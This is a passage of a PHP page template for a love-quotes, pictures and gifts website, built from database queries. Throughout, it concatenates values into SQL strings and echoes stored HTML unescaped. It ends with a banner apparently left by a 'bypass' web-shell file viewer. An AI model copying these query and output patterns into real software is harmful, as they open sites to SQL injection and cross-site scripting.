												        $inner_name=str_replace(" ", "-", $rs_inner['name']);
													    $title=str_replace(" ", "-", $row_rel["title"]);
												        $title1=$title.".html";
												        $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
														
														if(isset($_SESSION['sub']))
														{
														   unset($_SESSION['sub']);
														}
														$_SESSION['inner']=2;
									   
									?>
                                            <h1 style="float:left; width:100%;"><a href="<?php echo base_url();?>relationship/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="red_color"><?php echo $row_rel['title']; ?></a></h1>
                                           
                                       <li><p style="float:left;width:100%;"><?php echo substr($row_rel['post'],0,250); ?></p></li>
                                                
                                               
                                               <?php	
												   }
												   else
												   {
												       $inner_name='';
													   $title=str_replace(" ", "-", $row_rel["title"]);
												       $title1=$title.".html";
												       $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
													    
														if(isset($_SESSION['inner']))
														{
														   unset($_SESSION['inner']);
														}
														 $_SESSION['sub']=$sub_name."/".$title1;
														 //echo $_SESSION['sub'];
													   
													?>
                                                <h1 style="float:left; width:100%;"><a href="<?php echo base_url();?>love-shayari/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="red_color"><?php echo $row_rel['title']; ?></a></h1>
                                           
                                       <li><p style="float:left;width:100%;"><?php echo substr($row_rel['post'],0,200); ?></p></li>
                                            
                                               
                                               <?php
											    }
												?>
                                               
                                                        
                                     <?php 
									  }
									  ?>  
                                     
                                     
                                   </ul>  
                                     
                                     
                                                  	
										 <p class="read-more"><a href="<?php echo base_url();?>love-shayari.htm" class="red_color">View More &raquo;</a> </p>		
                                  <?php } ?>
                                    </div><!--end love-poem-txt-->
                                               
                                   
                                    
                                    </div><!--end quotes-block-txt -->
                                                             
                                </div><!--end h-right-tab-->
                                
                                <div class="h-left-tab-wide" style="padding-bottom:25px;">
                                
                                	<div class="love-buttons">
                                     
                                       <p>love pictures</p>
                                    
                                    </div><!--end love-quotes-->
                                    
                                    <p class="menu-bg-line"></p>
                                    
                                     	<!--<div id="love-picture">-->
                                        
                                        <div id="pettabs" class="indentmenu">
                                        <ul>
                                        <li><a href="#" rel="tab1" class="selected">CUTE PICTURE</a></li>
                                        <li><a href="#" rel="tab2">VALENTINE PICTURES</a></li>
                                        <li><a href="#" rel="tab3">LOVE PICTURE FOR HIM</a></li>
                                        <li><a href="#" rel="tab4" id="myfavorite" class="last">LOVE PICTURE FOR HER</a></li>
                                        
                                        </ul>
                                        <br style="clear: left" />
                                        </div>
                                        
                                        <div style="width:788px; padding: 5px; margin-bottom:8px">
                                        
                                        <div id="tab1" class="tabcontent">
                                        <?php
										$set_cp=$this->db->query("select * from tbl_posts where cat_id=(select id from tbl_sub_cat where sub_cat_name='Cute Pictures') order by rand() limit 4");
										$nme=str_replace(" ","-",'Cute Love Pictures');
										$num_cp=$set_cp->num_rows();
										if($num_cp>0)
										{
										    $cp=1;
										    foreach($set_cp->result_array() as $row_cp)
											{
											  if($cp==1)
											  {
											     $class1='view1';
											  }
											  else
											  {
											      $class1='view1 rgt';
											  }
											  $image1=$row_cp['post'];
										$txt1='uploads/1';
										$txt2='uploads/2';
										$img_path1 = str_replace($txt1, $txt2, $image1);
										//$image_path=$photo_row['image'];
										$image_path=$img_path1;
										  ?>
                                          <div class="<?php echo $class1; ?>"> 
                                         <?php 
                                          $sq_inner=$this->db->query("select * from tbl_inner_cat where id='".$row_cp['sub_cat_id']."'");
										$num_in=$sq_inner->num_rows();
									  
									    $sub_s=$this->db->query("select * from tbl_sub_cat where id='".$row_cp['cat_id']."'");
									    $row_s=$sub_s->row_array();
										
										 if($num_in>0)
												   {   
												     
												        $rs_inner=$sq_inner->row_array();
												        $inner_name=str_replace(" ", "-", $rs_inner['name']);
													    $title=str_replace(" ", "-", $row_cp["title"]);
												        $title1=$title.".html";
												        $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
														if(isset($_SESSION['sub']))
														{
														   unset($_SESSION['sub']);
														}
														$_SESSION['inner']=2;
													?>	
                                            
                                            <ul>
                                            	<li> <a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail"><img src="<?php echo $_SESSION['base_siteurl'].$image_path; ?>" width="180" height="120" class="img-bdr" /></a>
                                      			 <h1><a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $row_cp['title']; ?></a></h1>
                                                 
                                                 
                                                </li>
                                             </ul>
                                             
                                             <?php
									  }
									  else
									  {
												       $inner_name='';
													   $title=str_replace(" ", "-", $row_cp["title"]);
												       $title1=$title.".html";
												       $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
													    
														if(isset($_SESSION['inner']))
														{
														   unset($_SESSION['inner']);
														}
														 $_SESSION['sub']=1;
													   
													?>
                                                    
                                                    <ul>
                                            	<li> <a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="thumbnail"><img src="<?php echo $_SESSION['base_siteurl'].$image_path; ?>" width="180" height="120" class="img-bdr" /></a>
                                      			 <h1><a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $row_cp['title']; ?></a></h1>
                                                 
                                                 
                                                </li>
                                             </ul>
                                             
                                              <?php
										  
										  }
										  
										  ?>  
                                             
                                             
                                             
                                          
                                            </div><!--end view-1-->
                                        
                                        	
                                           <?php
										   $cp=$cp+1;
										   }
										   ?>
                                           <div class="clear"></div>
                                            <span><a href="<?php echo base_url().'love-pictures'; ?>/<?php echo $nme.'.htm'; ?>" class="read-more red_color rgt">View More &raquo;</a> </span>
                                            <?php
										  } 
										   
										   ?> 
                                        
                                        </div><!--end dog-1-->
                                        
                                        <div id="tab2" class="tabcontent">
                                        <?php
										$set_cp=$this->db->query("select * from tbl_posts where cat_id=(select id from tbl_sub_cat where sub_cat_name='Valentine Pictures') order by rand() limit 4");
										$num_cp=$set_cp->num_rows();
										if($num_cp>0)
										{
										    $cp=1;
										    foreach($set_cp->result_array() as $row_cp)
											{
											  if($cp==1)
											  {
											     $class1='view1';
											  }
											  else
											  {
											      $class1='view1 rgt';
											  }
											  $image1=$row_cp['post'];
										$txt1='uploads/1';
										$txt2='uploads/2';
										$img_path1 = str_replace($txt1, $txt2, $image1);
										//$image_path=$photo_row['image'];
										$image_path=$img_path1;
										$nme=str_replace(" ","-",'Valentine Pictures');
										  ?> 
                                        	<div class="<?php echo $class1; ?>">
                                            
                                           <?php 
                                          $sq_inner=$this->db->query("select * from tbl_inner_cat where id='".$row_cp['sub_cat_id']."'");
										$num_in=$sq_inner->num_rows();
									  
									    $sub_s=$this->db->query("select * from tbl_sub_cat where id='".$row_cp['cat_id']."'");
									    $row_s=$sub_s->row_array();
										
										 if($num_in>0)
												   {   
												     
												        $rs_inner=$sq_inner->row_array();
												        $inner_name=str_replace(" ", "-", $rs_inner['name']);
													    $title=str_replace(" ", "-", $row_cp["title"]);
												        $title1=$title.".html";
												        $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
														if(isset($_SESSION['sub']))
														{
														   unset($_SESSION['sub']);
														}
														$_SESSION['inner']=2;
													?>	
                                            
                                            <ul>
                                            	<li> <a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail"><img src="<?php echo $_SESSION['base_siteurl'].$image_path; ?>" width="180" height="120" class="img-bdr" /></a>
                                      			 <h1><a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $row_cp['title']; ?></a></h1>
                                                 
                                                 
                                                </li>
                                             </ul>
                                             
                                             <?php
									  }
									  else
									  {
												       $inner_name='';
													   $title=str_replace(" ", "-", $row_cp["title"]);
												       $title1=$title.".html";
												       $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
													    
														if(isset($_SESSION['inner']))
														{
														   unset($_SESSION['inner']);
														}
														 $_SESSION['sub']=1;
													   
													?>
                                                    
                                                    <ul>
                                            	<li> <a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="thumbnail"><img src="<?php echo $_SESSION['base_siteurl'].$image_path; ?>" width="180" height="120" class="img-bdr" /></a>
                                      			 <h1><a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $row_cp['title']; ?></a></h1>
                                                 
                                                 
                                                </li>
                                             </ul>
                                             
                                              <?php
										  
										  }
										  
										  ?>  
                                          
                                            </div><!--end view-1-->
                                        
                                        	
                                           <?php
										   $cp=$cp+1;
										   }
										   ?>
                                           <div class="clear"></div>
                                           <span><a href="<?php echo base_url().'love-pictures'; ?>/<?php echo $nme.'.htm'; ?>" class="read-more red_color rgt">View More &raquo;</a> </span>
                                           <?php
										  } 
										   
										   ?> 
                                        
                                        </div>
                                        
                                        <div id="tab3" class="tabcontent">
                                        <?php
										$set_cp=$this->db->query("select * from tbl_posts where cat_id=(select id from tbl_sub_cat where sub_cat_name='Love Pictures For Him') order by rand() limit 4");
										$num_cp=$set_cp->num_rows();
										if($num_cp>0)
										{
										    $cp=1;
										    foreach($set_cp->result_array() as $row_cp)
											{
											  if($cp==1)
											  {
											     $class1='view1';
											  }
											  else
											  {
											      $class1='view1 rgt';
											  }
											  $image1=$row_cp['post'];
										$txt1='uploads/1';
										$txt2='uploads/2';
										$img_path1 = str_replace($txt1, $txt2, $image1);
										//$image_path=$photo_row['image'];
										$image_path=$img_path1;
										$nme=str_replace(" ","-",'Love Pictures For Him');
										  ?> 
                                        	<div class="<?php echo $class1; ?>">
                                            
                                           <?php 
                                          $sq_inner=$this->db->query("select * from tbl_inner_cat where id='".$row_cp['sub_cat_id']."'");
										$num_in=$sq_inner->num_rows();
									  
									    $sub_s=$this->db->query("select * from tbl_sub_cat where id='".$row_cp['cat_id']."'");
									    $row_s=$sub_s->row_array();
										
										 if($num_in>0)
												   {   
												     
												        $rs_inner=$sq_inner->row_array();
												        $inner_name=str_replace(" ", "-", $rs_inner['name']);
													    $title=str_replace(" ", "-", $row_cp["title"]);
												        $title1=$title.".html";
												        $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
														if(isset($_SESSION['sub']))
														{
														   unset($_SESSION['sub']);
														}
														$_SESSION['inner']=2;
													?>	
                                            
                                            <ul>
                                            	<li> <a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail"><img src="<?php echo $_SESSION['base_siteurl'].$image_path; ?>" width="180" height="120" class="img-bdr" /></a>
                                      			 <h1><a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $row_cp['title']; ?></a></h1>
                                                 
                                                 
                                                </li>
                                             </ul>
                                             
                                             <?php
									  }
									  else
									  {
												       $inner_name='';
													   $title=str_replace(" ", "-", $row_cp["title"]);
												       $title1=$title.".html";
												       $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
													    
														if(isset($_SESSION['inner']))
														{
														   unset($_SESSION['inner']);
														}
														 $_SESSION['sub']=1;
													   
													?>
                                                    
                                                    <ul>
                                            	<li> <a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="thumbnail"><img src="<?php echo $_SESSION['base_siteurl'].$image_path; ?>" width="180" height="120" class="img-bdr" /></a>
                                      			 <h1><a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $row_cp['title']; ?></a></h1>
                                                 
                                                 
                                                </li>
                                             </ul>
                                             
                                              <?php
										  
										  }
										  
										  ?>  
                                          
                                            </div><!--end view-1-->
                                        
                                        	
                                           <?php
										   $cp=$cp+1;
										   }
										   ?>
                                           <span><a class="read-more red_color rgt" href="<?php echo base_url().'love-pictures'; ?>/<?php echo $nme.'.htm'; ?>">View More &raquo;</a></span>
                                           <?php
										  } 
										   
										   ?> 
                                        
                                        </div>
                                        
                                        <div id="tab4" class="tabcontent">
                                        <?php
										$set_cp=$this->db->query("select * from tbl_posts where cat_id=(select id from tbl_sub_cat where sub_cat_name='Love Pictures For Her') order by rand() limit 4");
										$num_cp=$set_cp->num_rows();
										if($num_cp>0)
										{
										    $cp=1;
										    foreach($set_cp->result_array() as $row_cp)
											{
											  if($cp==1)
											  {
											     $class1='view1';
											  }
											  else
											  {
											      $class1='view1 rgt';
											  }
											  $image1=$row_cp['post'];
										$txt1='uploads/1';
										$txt2='uploads/2';
										$img_path1 = str_replace($txt1, $txt2, $image1);
										//$image_path=$photo_row['image'];
										$image_path=$img_path1;
										$nme=str_replace(" ","-",'Love Pictures For Her');
										  ?> 
                                        	<div class="<?php echo $class1; ?>">
                                            
                                           <?php 
                                          $sq_inner=$this->db->query("select * from tbl_inner_cat where id='".$row_cp['sub_cat_id']."'");
										$num_in=$sq_inner->num_rows();
									  
									    $sub_s=$this->db->query("select * from tbl_sub_cat where id='".$row_cp['cat_id']."'");
									    $row_s=$sub_s->row_array();
										
										 if($num_in>0)
												   {   
												     
												        $rs_inner=$sq_inner->row_array();
												        $inner_name=str_replace(" ", "-", $rs_inner['name']);
													    $title=str_replace(" ", "-", $row_cp["title"]);
												        $title1=$title.".html";
												        $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
														if(isset($_SESSION['sub']))
														{
														   unset($_SESSION['sub']);
														}
														$_SESSION['inner']=2;
													?>	
                                            
                                            <ul>
                                            	<li> <a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail"><img src="<?php echo $_SESSION['base_siteurl'].$image_path; ?>" width="180" height="120" class="img-bdr" /></a>
                                      			 <h1><a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $row_cp['title']; ?></a></h1>
                                                 
                                                 
                                                </li>
                                             </ul>
                                             
                                             <?php
									  }
									  else
									  {
												       $inner_name='';
													   $title=str_replace(" ", "-", $row_cp["title"]);
												       $title1=$title.".html";
												       $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
													    
														if(isset($_SESSION['inner']))
														{
														   unset($_SESSION['inner']);
														}
														 $_SESSION['sub']=1;
													   
													?>
                                                    
                                                    <ul>
                                            	<li> <a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="thumbnail"><img src="<?php echo $_SESSION['base_siteurl'].$image_path; ?>" width="180" height="120" class="img-bdr" /></a>
                                      			 <h1><a href="<?php echo base_url();?>love-pictures/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $row_cp['title']; ?></a></h1>
                                                 
                                                 
                                                </li>
                                             </ul>
                                             
                                              <?php
										  
										  }
										  
										  ?>  
                                          
                                            </div><!--end view-1-->
                                        
                                        	
                                           <?php
										   $cp=$cp+1;
										   }
										   ?>
                                           <span><a href="<?php echo base_url().'love-pictures'; ?>/<?php echo $nme.'.htm'; ?>" class="read-more red_color rgt">View More &raquo; </a></span>
                                           <?php
										  } 
										   
										   ?> 
                                        
                                        </div>
                                        
                                        </div>
                                        
                                        
                                        <script type="text/javascript">
                                        
                                        var mypets=new ddtabcontent("pettabs")
                                        mypets.setpersist(true)
                                        mypets.setselectedClassTarget("link")
                                        mypets.init(0)
                                        

                                        </script>
                         	                                
                                </div><!--end h-left-tab-wide-->
                                
                                <div class="h-right-tab">
                                <div class="love-buttons">
                                     
                                       <p>love letters</p>
                                    
                                    </div><!--end love-quotes-->
                                    
                                    <?php /*?><div class="quotes-block-txt">
                                    <p class="menu-bg-line"></p>
                                    
                               
                                     <div class="container">
			
			<div id="ca-container4" class="ca-container">
				<div class="ca-wrapper" style="width:71%!important;">
                <?php
									 $set_letter=$this->db->query("select * from tbl_posts where type='letter' order by rand() limit 5");
									
									 $num_letter=$set_letter->num_rows();
									
							 if($num_letter>0)
							 {
								     foreach($set_letter->result_array() as $row_letter) 
								     {	
									 
									 ?>	
                                   
                                   
                
				<div class="ca-item ca-item-1" style="width:100%!important;">
						<div class="ca-item-main" style="padding:0!important">
                        
							<h4 style="margin-top:-10px!important;">
                          
								
								<span style="text-align:justify!important; margin:0px!important;"><br/><?php echo substr($row_letter['post'],0,200)."..."; ?></span> 
							</h4>
                           <!-- <a href="#">more...</a>-->
								
						</div>
						
					</div>
					              
			     <?php
				     }
				    
				 }
				 ?>		
					
					
					
					
					
				</div>
			</div>
			
		</div>          
                                                                       
                                   <a href="<?php echo base_url(); ?>love-letters.htm"> <p class="read-more">View More&raquo; </p></a>
                                    
                                    
                                    </div><?php */?><!--end quotes-block-txt -->
                                    <div class="quotes-block-txt" style="margin-bottom:0px;">
                                    <p class="menu-bg-line"></p>
                                    
                                   
                                     <?php
									 $set_letter=$this->db->query("select * from tbl_posts where type='letter' order by rand() limit 1");
									 $num_letter=$set_letter->num_rows();
									 if($num_letter>0)
									 {
									 $row_letter=$set_letter->row_array();
									?>
                                    <div class="love-poem-txt">
                                 <p class="pic-txt"><?php echo substr($row_letter['post'],0,900); ?></p>
                                 
                                    </div><!--end love-poem-txt-->
                                               
                                   <a href="<?php echo base_url(); ?>love-letters.htm"> <p class="read-more">View More&raquo; </p></a>
                                    <?php } ?>
                                    </div>
                                                             
                                </div><!--end h-right-tab-->
                                
                                <a href="#"><img src="<?php echo $_SESSION['base_siteurl']; ?>images/ask-question.jpg" width="788" height="214" style="margin:0 5px 20px 5px;"  /></a>
                                <div class="h-left-tab">
                                <div class="love-buttons">
                                     
                                       <p>blog</p>
                                    
                                    </div>
                                <iframe src="<?php echo base_url();?>blog_post.php" style="height: 825px;width: 417px; border:0;" scrolling="no"></iframe>
                                </div>
                                <!--end h-left-tab-->
                                
                                
                                <div class="h-center-tab" style="width:700px;">
                                <div class="love-buttons">
                                     
                                       <p>love gifts</p>
                                    
                                    </div><!--end love-quotes-->
                                    
                                    
                                    <p class="menu-bg-line"></p>
                                    <?php
									$k=0;
									$sq_gift=$this->db->query("select * from tbl_posts where type='gift' order by rand() limit 4");
									$num_g=$sq_gift->num_rows();
									if($num_g>0)
									{
									   foreach($sq_gift->result_array() as $rq_gift)
									   {
									     
										  
										   if($k%2==0)
										   {
											 $loc="right";
										   }
										   else
										   {
											 $loc="left";
										   }
										   
										$sq_inner=$this->db->query("select * from tbl_inner_cat where id='".$rq_gift['sub_cat_id']."'");
										$num_in=$sq_inner->num_rows();
									  
									    $sub_s=$this->db->query("select * from tbl_sub_cat where id='".$rq_gift['cat_id']."'");
									    $row_s=$sub_s->row_array();
										
										
									?>
                                    <div style="width:300px; float:left; margin-right:40px;">
                                    
                                    <div class="quotes-block-txt">
                                    
                                    
                                    	<div class="love-gift">
                                        <?php
										
										 if($num_in>0)
												   {   
												     
												        $rs_inner=$sq_inner->row_array();
														$inner_name=str_replace(" ", "-", $rs_inner['name']);
														$title_r1=str_replace("-","_",$rq_gift['title']);
														$title_r2=str_replace(".","dot",$title_r1);
													    $title=str_replace(" ", "-", $title_r2);
												        $title1=$title.".html";
												        $sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
														
														if(isset($_SESSION['sub']))
														{
														   unset($_SESSION['sub']);
														}
														$_SESSION['inner']=2;
											?>			
                                        
                                        <a href="<?php echo base_url();?>love-gifts/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail">
                                        <?php
										if($rq_gift['gift_type']=='iframe')
										{
										  echo $rq_gift['post'];
										}
                                       elseif($rq_gift['gift_type']=='picture')
										   {
										   $image1=$rq_gift['post'];
										$txt1='uploads/1';
										$txt2='uploads/2';
										$img_path1 = str_replace($txt1, $txt2, $image1);
										//$image_path=$photo_row['image'];
										$image_path=$img_path1;
										?>
                                        <img src="<?php echo $_SESSION['base_siteurl'].$image_path; ?>" width="234" height="198"  />
                                        <?php
										}
										else
										{
										   echo $rq_gift['post'];
										}
										?>
                                        
                                        
                                        </a>
                                         <h1> <a href="<?php echo base_url();?>love-gifts/<?php echo $sub_name; ?>/<?php echo $inner_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color" ><?php echo $rq_gift['title']; ?></a></h1>
                                        <?php
										      }
											  
											  else
											  {
											           $title_r1=str_replace("-","_",$rq_gift['title']);
														$title_r2=str_replace(".","dot",$title_r1);
													    $title=str_replace(" ", "-", $title_r2);
												        $title1=$title.".html";
														$sub_name=str_replace(" ", "-", $row_s['sub_cat_name']);
											?>
                                             <a href="<?php echo base_url();?>love-gifts/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="thumbnail">
                                             
                                              <?php
											  if($rq_gift['gift_type']=='iframe')
										{
										  echo $rq_gift['post'];
										}
                                       elseif($rq_gift['gift_type']=='picture')
										   {
										   $image1=$rq_gift['post'];
										$txt1='uploads/1';
										$txt2='uploads/2';
										$img_path1 = str_replace($txt1, $txt2, $image1);
										//$image_path=$photo_row['image'];
										$image_path=$img_path1;
										?>
                                        <img src="<?php echo $_SESSION['base_siteurl'].$image_path; ?>" width="234" height="198"  />
                                        <?php
										}
										else
										{
										   echo $rq_gift['post'];
										}
										?>
                                            
                                             
                                             </a> 
                                  <h1><a href="<?php echo base_url();?>love-gifts/<?php echo $sub_name; ?>/<?php echo $title1; ?>" class="thumbnail red_color"><?php echo $rq_gift['title']; ?></a></h1>
 
										<?php	  
											  }
                                        ?>
                                        <?php
										if($rq_gift['gift_type']!=='iframe')
										{
										?>
                                        <p class="Gprice"><?php echo $rq_gift['price']; ?></p>

                                        <p style="height:100px;"><?php
										echo substr($rq_gift['description'],0,200);
										}
                                        ?>
										</p>
                                        
                                        </div><!--end love-gifts-->
                                        
                                        <!--end love-gifts-->
                                                                       
                                    <a href="<?php echo base_url();?>love-gifts.htm"><p class="read-more">Check out More&raquo; </p></a>
                                    
                                    
                                    </div><!--end quotes-block-txt -->
                                    
                                    </div>
                                    
                                    <?php
									      $k=$k+1;
									    }
									 }
									 ?>
                                                             
                                </div><!--end h-center-tab-->
                                
                                
                               <!--end h-right-tab-->
                                
                                
                                
                                
                                
                                
                                <div class="h-footer-ad">
                                
                            
                                     <?php
									$set_hm=$this->db->query("select * from tbl_advertisements where position='bottom' and (tags='home' or main_cat='home')");
									$num_home3=$set_hm->num_rows();
									if($num_home3==1)
									{
									   
									       $row_hm=$set_hm->row_array();
										   echo $row_hm['advertisement']; 
									}
									elseif($num_home3>1)
									{
									     $set_hm1=$this->db->query("select * from tbl_add_ref where page='home'");
										 $row_hm1=$set_hm1->row_array();
										 if($row_hm1['bottom']=='admin')
										 {
												$set_hm2=$this->db->query("select * from tbl_advertisements where position='bottom' and tags='home' and type='admin' order by rand() limit 1");
												
												$num_hm2=$set_hm2->num_rows();
												if($num_hm2>0)
												{
													$row_hm2=$set_hm2->row_array();
													echo $row_hm2['advertisement'];
												
												}
											
									     }
										 
										else
										{
										       $set_hm2=$this->db->query("select * from tbl_advertisements where position='bottom' and main_cat='home' and type='google' order by rand() limit 1");
											   $num_hm2=$set_hm2->num_rows();
												if($num_hm2>0)
												{
													$row_hm2=$set_hm2->row_array();
													echo $row_hm2['advertisement'];

												
												}
										 }
							   }
									
									
									
									?> 
                                   
									 
                         
                                </div>
                                                                        
                            </div><!--end h-main-content-->
                      
                                                          
                  </div><!--end scroll-wrapper-->
                  </div>
                    <div class="clear"></div>
                  <?php
				     include('footer.php');
				  ?>
                  <!--end footer-->
                  
                  
                  
</div><!--end main-bg-->


</body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net